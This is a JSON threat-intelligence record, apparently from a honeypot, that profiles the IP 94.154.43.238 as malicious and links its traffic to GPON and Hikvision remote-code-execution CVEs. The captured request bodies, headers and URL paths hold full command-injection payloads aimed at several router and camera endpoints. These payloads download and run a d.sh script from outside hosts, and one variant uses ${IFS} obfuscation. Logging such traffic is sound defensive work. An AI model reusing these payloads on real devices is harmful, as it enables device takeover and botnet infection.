{"ip":"94.154.43.238","total_events":18,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"7 exploit-path hits","confidence":"high","network_type":null,"why":["7 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 6,897 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"6,897 bytes sent","bytes_sent":6897,"session_seconds":0,"persistent":false}},"first_seen":"2026-08-03T15:06:01","last_seen":"2026-08-03T19:59:07","events_24h":0,"events_7d":0,"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":219502,"org":"Storm Industries LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2018-10562","title":"Dasan GPON Devices - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/GponForm/diag_Form"},{"cve_id":"CVE-2021-36260","title":"Hikvision IP camera/NVR - Remote Command Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/SDK/webLanguage"}],"malware":[{"sha256":"6bedee0651587750379b68ce8e6b5025e5062f39c914d683b77dcfc53c8295d5","family":"","vt_name":"2308","malicious":3,"total":75,"vt_status":"known","delivery":"curl","url_path":"/GponForm/diag_Form?images/","dest_port":80,"hits":2,"last_seen":"2026-08-03 15:06:06"}],"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":17},{"port":6800,"proto":"tcp","label":"","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":["pu11nn0400_fdcc3615ee04","ge11nn0200_f24fcf356134","po11nn0300_47444f8c594f","po11nn0400_fdcc3615ee04","ge11nn0300_981846a38495"]},"fingerprint_peers":{"pu11nn0400_fdcc3615ee04":15,"ge11nn0200_f24fcf356134":59,"po11nn0300_47444f8c594f":1,"po11nn0400_fdcc3615ee04":34,"ge11nn0300_981846a38495":0},"user_agents":[],"timeline":[{"date":"2026-08-03","count":18}],"recent_events":[{"timestamp":"2026-08-03T19:59:07","port":6800,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"73\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>\"}","body":"{\"jsonrpc\": \"2.0\", \"id\": \"t\", \"method\": \"aria2.getVersion\", \"params\": []}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/jsonrpc","summary":"","payload_hex":"504f5354202f6a736f6e72706320485454502f312e300d0a486f73743a20<HONEYPOT>0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a2037330d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a7b226a736f6e727063223a2022322e30222c20226964223a202274222c20226d6574686f64223a202261726961322e67657456657273696f6e222c2022706172616d73223a205b5d7d","method":"POST","user_agent":"","ja3":"","session":"c2202a25-004f-4ef0-96ca-83ab86c27cc7","seq":1,"duration_ms":100,"bytes_in":190,"bytes_out":78},{"timestamp":"2026-08-03T15:06:09","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"302\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>\"}","body":"{\"command\":\"X\",\"topic\":\"aaa;cd /tmp||cd /var/tmp;rm -f .s;wget http://193.233.82.82/d.sh -O .s 2>/dev/null||curl -s http://193.233.82.82/d.sh -o .s 2>/dev/null;[ -s .s ]||wget http://94.154.43.238/d.sh -O .s 2>/dev/null;[ -s .s ]||curl -s http://94.154.43.238/d.sh -o .s 2>/dev/null;sh .s;\",\"mode\":\"0\"}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/cstecgi.cgi","summary":"","payload_hex":"504f5354202f6367692d62696e2f637374656367692e63676920485454502f312e310d0a486f73743a20<HONEYPOT>0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a203330320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a7b22636f6d6d616e64223a2258222c22746f706963223a226161613b6364202f746d707c7c6364202f7661722f746d703b726d202d66202e733b7767657420687474703a2f2f3139332e3233332e38322e38322f642e7368202d4f202e7320323e2f6465762f6e756c6c7c7c6375726c202d7320687474703a2f2f3139332e3233332e38322e38322f642e7368202d6f202e7320323e2f6465762f6e756c6c3b5b202d73202e73205d7c7c7767657420687474703a2f2f39342e3135342e34332e3233382f642e7368202d4f202e7320323e2f6465762f6e756c6c3b5b202d73202e73205d7c7c6375726c202d7320687474703a2f2f39342e3135342e34332e3233382f642e7368202d6f202e7320323e2f6465762f6e756c6c3b7368202e733b222c226d6f6465223a2230227d","method":"POST","user_agent":"","ja3":"","session":"c20ace11-b4eb-41ea-8652-430aadd2b62d","seq":1,"duration_ms":100,"bytes_in":433,"bytes_out":78},{"timestamp":"2026-08-03T15:06:08","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"305\",\"content-type\":\"text/xml; charset=utf-8\",\"host\":\"<HONEYPOT>\",\"soapaction\":\"\\\"http://purenetworks.com/HNAP1/GetDeviceSettings/`cd${IFS}/tmp||cd${IFS}/var/tmp;rm${IFS}-f${IFS}.s;wget${IFS}http://193.233.82.82/d.sh${IFS}-O${IFS}.s${IFS}2>/dev/null||curl${IFS}-s${IFS}http://193.233.82.82/d.sh${IFS}-o${IFS}.s${IFS}2>/dev/null;[${IFS}-s${IFS}.s${IFS}]||wget${IFS}http://94.154.43.238/d.sh${IFS}-O${IFS}.s${IFS}2>/dev/null;[${IFS}-s${IFS}.s${IFS}]||curl${IFS}-s${IFS}http://94.154.43.238/d.sh${IFS}-o${IFS}.s${IFS}2>/dev/null;sh${IFS}.s`\\\"\"}","body":"<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><GetDeviceSettings xmlns=\"http://purenetworks.com/HNAP1/\"/></soap:Body></soap:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/HNAP1/","summary":"","payload_hex":"504f5354202f484e4150312f20485454502f312e310d0a486f73743a20<HONEYPOT>0d0a436f6e74656e742d547970653a20746578742f786d6c3b20636861727365743d7574662d380d0a534f4150416374696f6e3a2022687474703a2f2f707572656e6574776f726b732e636f6d2f484e4150312f47657444657669636553657474696e67732f606364247b4946537d2f746d707c7c6364247b4946537d2f7661722f746d703b726d247b4946537d2d66247b4946537d2e733b77676574247b4946537d687474703a2f2f3139332e3233332e38322e38322f642e7368247b4946537d2d4f247b4946537d2e73247b4946537d323e2f6465762f6e756c6c7c7c6375726c247b4946537d2d73247b4946537d687474703a2f2f3139332e3233332e38322e38322f642e7368247b4946537d2d6f247b4946537d2e73247b4946537d323e2f6465762f6e756c6c3b5b247b4946537d2d73247b4946537d2e73247b4946537d5d7c7c77676574247b4946537d687474703a2f2f39342e3135342e34332e3233382f642e7368247b4946537d2d4f247b4946537d2e73247b4946537d323e2f6465762f6e756c6c3b5b247b4946537d2d73247b4946537d2e73247b4946537d5d7c7c6375726c247b4946537d2d73247b4946537d687474703a2f2f39342e3135342e34332e3233382f642e7368247b4946537d2d6f247b4946537d2e73247b4946537d323e2f6465762f6e756c6c3b7368247b4946537d2e7360220d0a436f6e74656e742d4c656e6774683a203330350d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227574662d38223f3e3c736f61703a456e76656c6f706520786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612220786d6c6e733a736f61703d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f223e3c736f61703a426f64793e3c47657444657669636553657474696e677320786d6c6e733d22687474703a2f2f707572656e6574776f726b732e636f6d2f484e4150312f222f3e3c2f736f61703a426f64793e3c2f736f61703a456e76656c6f70653e","method":"POST","user_agent":"","ja3":"","session":"a88c870e-063e-4329-b8af-845ee30704d7","seq":1,"duration_ms":100,"bytes_in":901,"bytes_out":78},{"timestamp":"2026-08-03T15:06:08","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"606\",\"content-type\":\"text/xml\",\"host\":\"<HONEYPOT>\",\"soapaction\":\"\\\"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade\\\"\"}","body":"<?xml version=\"1.0\"?>\n<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n<s:Body>\n<u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n<NewStatusURL>;cd /tmp||cd /var/tmp;rm -f .s;wget http://193.233.82.82/d.sh -O .s 2>/dev/null||curl -s http://193.233.82.82/d.sh -o .s 2>/dev/null;[ -s .s ]||wget http://94.154.43.238/d.sh -O .s 2>/dev/null;[ -s .s ]||curl -s http://94.154.43.238/d.sh -o .s 2>/dev/null;sh .s;</NewStatusURL>\n<NewDownloadURL>echo HUAWEIUPGRADE</NewDownloadURL>\n</u:Upgrade>\n</s:Body>\n</s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/control/Upgrade","summary":"","payload_hex":"504f5354202f636f6e74726f6c2f5570677261646520485454502f312e310d0a486f73743a20<HONEYPOT>0d0a436f6e74656e742d547970653a20746578742f786d6c0d0a534f4150416374696f6e3a202275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a312355706772616465220d0a436f6e74656e742d4c656e6774683a203630360d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a3c3f786d6c2076657273696f6e3d22312e30223f3e0a3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e0a3c733a426f64793e0a3c753a5570677261646520786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e505050436f6e6e656374696f6e3a31223e0a3c4e657753746174757355524c3e3b6364202f746d707c7c6364202f7661722f746d703b726d202d66202e733b7767657420687474703a2f2f3139332e3233332e38322e38322f642e7368202d4f202e7320323e2f6465762f6e756c6c7c7c6375726c202d7320687474703a2f2f3139332e3233332e38322e38322f642e7368202d6f202e7320323e2f6465762f6e756c6c3b5b202d73202e73205d7c7c7767657420687474703a2f2f39342e3135342e34332e3233382f642e7368202d4f202e7320323e2f6465762f6e756c6c3b5b202d73202e73205d7c7c6375726c202d7320687474703a2f2f39342e3135342e34332e3233382f642e7368202d6f202e7320323e2f6465762f6e756c6c3b7368202e733b3c2f4e657753746174757355524c3e0a3c4e6577446f776e6c6f616455524c3e6563686f20485541574549555047524144453c2f4e6577446f776e6c6f616455524c3e0a3c2f753a557067726164653e0a3c2f733a426f64793e0a3c2f733a456e76656c6f70653e","method":"POST","user_agent":"","ja3":"","session":"f302ac91-5657-4ec6-8af8-1653a5549326","seq":1,"duration_ms":100,"bytes_in":796,"bytes_out":78},{"timestamp":"2026-08-03T15:06:07","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/diag.html?images/","summary":"","payload_hex":"474554202f646961672e68746d6c3f696d616765732f20485454502f312e310d0a486f73743a20<HONEYPOT>0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"e5a04fd9-58f1-41d7-93cf-af6045624236","seq":1,"duration_ms":100,"bytes_in":75,"bytes_out":78},{"timestamp":"2026-08-03T15:06:07","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/diag.html?images/","summary":"","payload_hex":"474554202f646961672e68746d6c3f696d616765732f20485454502f312e310d0a486f73743a20<HONEYPOT>0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"4243903f-8507-4f6f-9ac1-0ddc19f0e818","seq":1,"duration_ms":101,"bytes_in":75,"bytes_out":78},{"timestamp":"2026-08-03T15:06:06","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"326\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>\"}","body":"XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=;cd /tmp||cd /var/tmp;rm -f .s;wget http://193.233.82.82/d.sh -O .s 2>/dev/null||curl -s http://193.233.82.82/d.sh -o .s 2>/dev/null;[ -s .s ]||wget http://94.154.43.238/d.sh -O .s 2>/dev/null;[ -s .s ]||curl -s http://94.154.43.238/d.sh -o .s 2>/dev/null;sh .s&ipv=0","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/GponForm/diag_Form?images/","summary":"","payload_hex":"504f5354202f47706f6e466f726d2f646961675f466f726d3f696d616765732f20485454502f312e310d0a486f73743a20<HONEYPOT>0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a203332360d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a58576562506167654e616d653d6469616726646961675f616374696f6e3d70696e672677616e5f636f6e6c6973743d3026646573745f686f73743d3b6364202f746d707c7c6364202f7661722f746d703b726d202d66202e733b7767657420687474703a2f2f3139332e3233332e38322e38322f642e7368202d4f202e7320323e2f6465762f6e756c6c7c7c6375726c202d7320687474703a2f2f3139332e3233332e38322e38322f642e7368202d6f202e7320323e2f6465762f6e756c6c3b5b202d73202e73205d7c7c7767657420687474703a2f2f39342e3135342e34332e3233382f642e7368202d4f202e7320323e2f6465762f6e756c6c3b5b202d73202e73205d7c7c6375726c202d7320687474703a2f2f39342e3135342e34332e3233382f642e7368202d6f202e7320323e2f6465762f6e756c6c3b7368202e73266970763d30","method":"POST","user_agent":"","ja3":"","session":"f9256d63-8af8-4f71-bb4c-8e4ebec45dc4","seq":1,"duration_ms":100,"bytes_in":481,"bytes_out":78},{"timestamp":"2026-08-03T15:06:06","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"0\",\"host\":\"<HONEYPOT>\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/login.cgi?cli=multi_rpm_tmp.cgi&dp=hmrcfg&cmd=rm+-rf+/tmp/*;cd+/tmp||cd+/var/tmp;rm+-f+.s;wget+http://193.233.82.82/d.sh+-O+.s+2>/dev/null||curl+-s+http://193.233.82.82/d.sh+-o+.s+2>/dev/null;[+-s+.s+]||wget+http://94.154.43.238/d.sh+-O+.s+2>/dev/null;[+-s+.s+]||curl+-s+http://94.154.43.238/d.sh+-o+.s+2>/dev/null;sh+.s","summary":"","payload_hex":"504f5354202f6c6f67696e2e6367693f636c693d6d756c74695f72706d5f746d702e6367692664703d686d7263666726636d643d726d2b2d72662b2f746d702f2a3b63642b2f746d707c7c63642b2f7661722f746d703b726d2b2d662b2e733b776765742b687474703a2f2f3139332e3233332e38322e38322f642e73682b2d4f2b2e732b323e2f6465762f6e756c6c7c7c6375726c2b2d732b687474703a2f2f3139332e3233332e38322e38322f642e73682b2d6f2b2e732b323e2f6465762f6e756c6c3b5b2b2d732b2e732b5d7c7c776765742b687474703a2f2f39342e3135342e34332e3233382f642e73682b2d4f2b2e732b323e2f6465762f6e756c6c3b5b2b2d732b2e732b5d7c7c6375726c2b2d732b687474703a2f2f39342e3135342e34332e3233382f642e73682b2d6f2b2e732b323e2f6465762f6e756c6c3b73682b2e7320485454502f312e310d0a486f73743a20<HONEYPOT>0d0a436f6e74656e742d4c656e6774683a20300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"POST","user_agent":"","ja3":"","session":"541c65a1-f5ff-46eb-8004-3b3bbdd94031","seq":1,"duration_ms":100,"bytes_in":398,"bytes_out":78},{"timestamp":"2026-08-03T15:06:06","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"282\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>\"}","body":"action=list&keyword=;cd /tmp||cd /var/tmp;rm -f .s;wget http://193.233.82.82/d.sh -O .s 2>/dev/null||curl -s http://193.233.82.82/d.sh -o .s 2>/dev/null;[ -s .s ]||wget http://94.154.43.238/d.sh -O .s 2>/dev/null;[ -s .s ]||curl -s http://94.154.43.238/d.sh -o .s 2>/dev/null;sh .s;","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/search.cgi?w","summary":"","payload_hex":"504f5354202f6367692d62696e2f7365617263682e6367693f7720485454502f312e310d0a486f73743a20<HONEYPOT>0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a203238320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a616374696f6e3d6c697374266b6579776f72643d3b6364202f746d707c7c6364202f7661722f746d703b726d202d66202e733b7767657420687474703a2f2f3139332e3233332e38322e38322f642e7368202d4f202e7320323e2f6465762f6e756c6c7c7c6375726c202d7320687474703a2f2f3139332e3233332e38322e38322f642e7368202d6f202e7320323e2f6465762f6e756c6c3b5b202d73202e73205d7c7c7767657420687474703a2f2f39342e3135342e34332e3233382f642e7368202d4f202e7320323e2f6465762f6e756c6c3b5b202d73202e73205d7c7c6375726c202d7320687474703a2f2f39342e3135342e34332e3233382f642e7368202d6f202e7320323e2f6465762f6e756c6c3b7368202e733b","method":"POST","user_agent":"","ja3":"","session":"56c0520d-6f16-418d-a132-0d5b6512e264","seq":1,"duration_ms":101,"bytes_in":431,"bytes_out":78},{"timestamp":"2026-08-03T15:06:05","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"content-length\":\"271\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>\"}","body":"username=;cd /tmp||cd /var/tmp;rm -f .s;wget http://193.233.82.82/d.sh -O .s 2>/dev/null||curl -s http://193.233.82.82/d.sh -o .s 2>/dev/null;[ -s .s ]||wget http://94.154.43.238/d.sh -O .s 2>/dev/null;[ -s .s ]||curl -s http://94.154.43.238/d.sh -o .s 2>/dev/null;sh .s;","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/luci/;stok=/login","summary":"","payload_hex":"504f5354202f6367692d62696e2f6c7563692f3b73746f6b3d2f6c6f67696e20485454502f312e310d0a486f73743a20<HONEYPOT>0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a203237310d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a757365726e616d653d3b6364202f746d707c7c6364202f7661722f746d703b726d202d66202e733b7767657420687474703a2f2f3139332e3233332e38322e38322f642e7368202d4f202e7320323e2f6465762f6e756c6c7c7c6375726c202d7320687474703a2f2f3139332e3233332e38322e38322f642e7368202d6f202e7320323e2f6465762f6e756c6c3b5b202d73202e73205d7c7c7767657420687474703a2f2f39342e3135342e34332e3233382f642e7368202d4f202e7320323e2f6465762f6e756c6c3b5b202d73202e73205d7c7c6375726c202d7320687474703a2f2f39342e3135342e34332e3233382f642e7368202d6f202e7320323e2f6465762f6e756c6c3b7368202e733b","method":"POST","user_agent":"","ja3":"","session":"b607caaf-e4f0-4647-94fc-9b0b7924636f","seq":1,"duration_ms":100,"bytes_in":425,"bytes_out":78}],"http_methods":[{"method":"POST","count":13},{"method":"GET","count":4},{"method":"PUT","count":1}],"distinct_ports_total":2,"top_paths":[{"path":"/diag.html?images/","count":2,"ports":1},{"path":"/ISAPI/System/deviceinfo","count":2,"ports":1},{"path":"/jsonrpc","count":1,"ports":1},{"path":"/HNAP1/","count":1,"ports":1},{"path":"/index.php","count":1,"ports":1},{"path":"/control/Upgrade","count":1,"ports":1},{"path":"/SDK/webLanguage","count":1,"ports":1},{"path":"/password_change.cgi","count":1,"ports":1},{"path":"/cgi-bin/cstecgi.cgi","count":1,"ports":1},{"path":"/cgi-bin/search.cgi?w","count":1,"ports":1},{"path":"/login.cgi?cli=multi_rpm_tmp.cgi&dp=hmrcfg&cmd=rm+-rf+/tmp/*;cd+/tmp||cd+/var/tmp;rm+-f+.s;wget+http://193.233.82.82/d.sh+-O+.s+2>/dev/null||curl+-s+http://193.233.82.82/d.sh+-o+.s+2>/dev/null;[+-s+.s+]||wget+http://94.154.43.238/d.sh+-O+.s+2>/dev/null;[+-s+.s+]||curl+-s+http://94.154.43.238/d.sh+-o+.s+2>/dev/null;sh+.s","count":1,"ports":1},{"path":"/cgi-bin/luci/;stok=/login","count":1,"ports":1},{"path":"/index.php?s=captcha&-_method=__construct","count":1,"ports":1},{"path":"/index.php?render=ajax/api/widget/load_widget","count":1,"ports":1},{"path":"/GponForm/diag_Form?images/","count":1,"ports":1}],"distinct_paths_total":16,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[{"username":";cd /tmp||cd /var/tmp;rm -f .s;wget http://193.233.82.82/d.sh -O","password":"","count":1},{"username":"rootxx","password":"","count":1}],"header_profile":{"signature":["Connection","Content-Length","Content-Type","Host","Soapaction"],"representative":[{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"305","notable":false},{"name":"Content-Type","value":"text/xml; charset=utf-8","notable":true},{"name":"Host","value":"<HONEYPOT>","notable":false},{"name":"Soapaction","value":"\"http://purenetworks.com/HNAP1/GetDeviceSettings/`cd${IFS}/tmp||cd${IFS}/var/tmp;rm${IFS}-f${IFS}.s;wget${IFS}http://193.233.82.82/d.sh${IFS}-O${IFS}.s${IFS}2>/dev/null||curl${IFS}-s${IFS}http://193.233.82.82/d.sh${IFS}-o${IFS}.s${IFS}2>/dev/null;[${IFS}-s${IFS}.s${IFS}]||wget${IFS}http://94.154.43.","notable":false}],"distinct_sets":4,"events_with_headers":10},"tags":[{"tag_id":"CVE-2018-10562","tag_type":"cve","title":"Dasan GPON Devices - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/GponForm/diag_Form","reference_urls":["https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router","https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py","https://nvd.nist.gov/vuln/detail/CVE-2018-10562","https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/","https://github.com/ethicalhackeragnidhra/GPON"]},{"tag_id":"CVE-2021-36260","tag_type":"cve","title":"Hikvision IP camera/NVR - Remote Command Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/SDK/webLanguage","reference_urls":["https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html","https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/","https://nvd.nist.gov/vuln/detail/CVE-2021-36260","https://github.com/Aiminsun/CVE-2021-36260","https://therecord.media/experts-warn-of-widespread-exploitation-involving-hikvision-cameras/"]}],"data_as_of":"2026-09-11T18:50:37.826399+00:00"}